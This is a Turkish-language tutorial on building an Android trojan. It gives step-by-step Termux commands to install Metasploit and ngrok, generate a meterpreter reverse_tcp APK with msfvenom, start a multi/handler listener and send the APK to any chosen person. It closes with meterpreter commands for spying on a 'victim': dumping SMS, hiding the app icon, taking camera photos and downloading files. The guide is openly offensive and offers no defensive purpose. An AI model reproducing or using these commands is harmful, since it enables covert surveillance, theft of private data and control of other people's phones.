Notes

SADRA CODE SUNAR...
TELEFON VIRUSU YAPMAK.


1-pkg install git -y

2-git clone GitHub - jokzilla/metakurucu

3-cd metakurucu

4-chmod +x *

5-bash metakurucu.sh

toolumuz indi 1i seçiyoruz ve kurulum başladı

termuxu yeniden başlatın yazısı geldikten sonra termuxu arka plandan kapatıyoruz sonra bildirim panelini açıyoru ve ordanda exit diyoruz

burdaki işlemimiz bu kadar şimdi ngroku kuralım

B)Ngroku kuralım;

termuxu tekrar açıyoruz

1-pkg install git -y

2-git clone GitHub - termuxxtoolss/NGROK-KURULUM

3-cd NGROK-KURULUM

4-chmod 777 ngrok-kurulum.sh

5-bash ngrok-kurulum.sh



ngrok kuruludu fakat tcp bağlantısı açmamız için ngrokun sitesine;

ngrok - secure introspectable tunnels to localhost

kaydolup ordaki tokeni kopyalamamiz gerekiyor yeşil renk ile işaretlediğim yeri(token) kopyalıyoruz ve terminale yapıştırıyoruz(./ almıyoruz ngroktan itibaren kopyaliyoruz)



3)

Trojen nasıl oluturulur;


ngrok tcp 1275 yazıyoruz bunu yaparken mobil veri ile internet paylaşımının açık olması gerekiyor bu resimdeki



online yazan yer kırmızı olursa demeki sorun vardır

ngrok ekranını asla kapatmıyoruz kapatırsak dinleme gidecektir

termux-setup-storage

depolama izni veriyoruz çünkü trojenin sdcarda(dahili hafıza) kaydedilmesi için

soldan kaydırarak new sesion diyoruz



resimde belirttiğim gibi altaki paylodda LHOST vs RHOST yazan yere burdaki bilgiyi yazacaz(sizde verilenleri yazin sizde)



msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=15181 R >/data/data/com.termux/files/home/storage/shared/Android.apk

sondaki android apk yazan yer trojanimizin ismidir istediğinizi yazabilirsiniz fakat sonuna .apk yazmak zorundasınız enter basıyoruz ve

trojaniniz sdcard(dahili hafızaya kaydoldu)



TROJENİ DİNLEMEYE ALALIM





msfconsole yazıp entere basıyoruz ve 15-20 saniye msfconsole ekranının sçılmasını bekliyoruz ardından

Metasploit'te Çoklu işleyiciyi başlatmak için bu komutu yazıyoruz;



use exploit/multi/handler




burda trojeni oluşturuken yazdığımız payloadıı yazıyoruz yani;


set payload android/meterpreter/reverse_tcp




Şimdi oturumu dinlemek istediğiniz LHOST'u ayarlıyoruz yani;


set LHOST 127.0.0.1




Şimdi oturumu dinlemek istediğiniz RPORT'u ayarlıyoruz yani "ngrok tcp 1275"

yazdığımız yere burdaki sayıyı alıyoruz "1275"

set LPORT 1275







ve son komutumuzu yazıyoruz exploit diyerek dinlemeye alıyoruz artık oluşturduğumuz apkyı istediğimiz kişiye atıyoruz ve o indirip açtığında böyle bi ekran karşımıza çıkacak(meterpreter yazmazsa gorseldeki gibi yanliş yaptiğiniz biseyler vardir)





help yazıp neler yapabileceğimze bakıyoruz iyi kullanımlar :D



İŞİNİZE YARIYACAK BAZI KOMUTLAR

Kurbanın telefonundan telefonunuza SMS alın:

Bu komut size kurbanın telefonundan en son 50 SMS'i verecektir.

dump_sms



Kurbana gönderdiğiniz Apk'nin simgesini gizleyin:

Kurbanın telefonlarına bir uygulama yüklüyorsanız, kurbanın uygulamanın ve kurbanın kurban olma şansının aşağıdaki komutu kullanarak app.by kaldıracağını fark edeceği açıktır, uygulama simgesini kurbanın telefonundan gizleyebilirsiniz.

hide_app_icon



Kurbanın telefonunun ses modunu değiştirin:

aşağıdaki komutu kullanarak telefonu genel modda ayarlayabilirsiniz.

set_audio_mode -m 1

telefonu sessize almak için;

set_audio_mode -m 0



Kurbanın telefonundan fotoğraf çekin: Bu komut kurbanın kamerasından bir fotoğraf çekecek ve depolama klasörünüze gönderecektir.

webcam_snap



Kurbanların dosya depolamasına erişin:

Kurbanın dosyasına gidebilir ve herhangi bir klasördeki tüm verileri görebilirsiniz

cd /sdcard



Kurbanın telefonundan herhangi bir dosyayı indirin:

karşıdan yüklemek istediğiniz dosyaya gidin ve bu komutu yazın

download file-name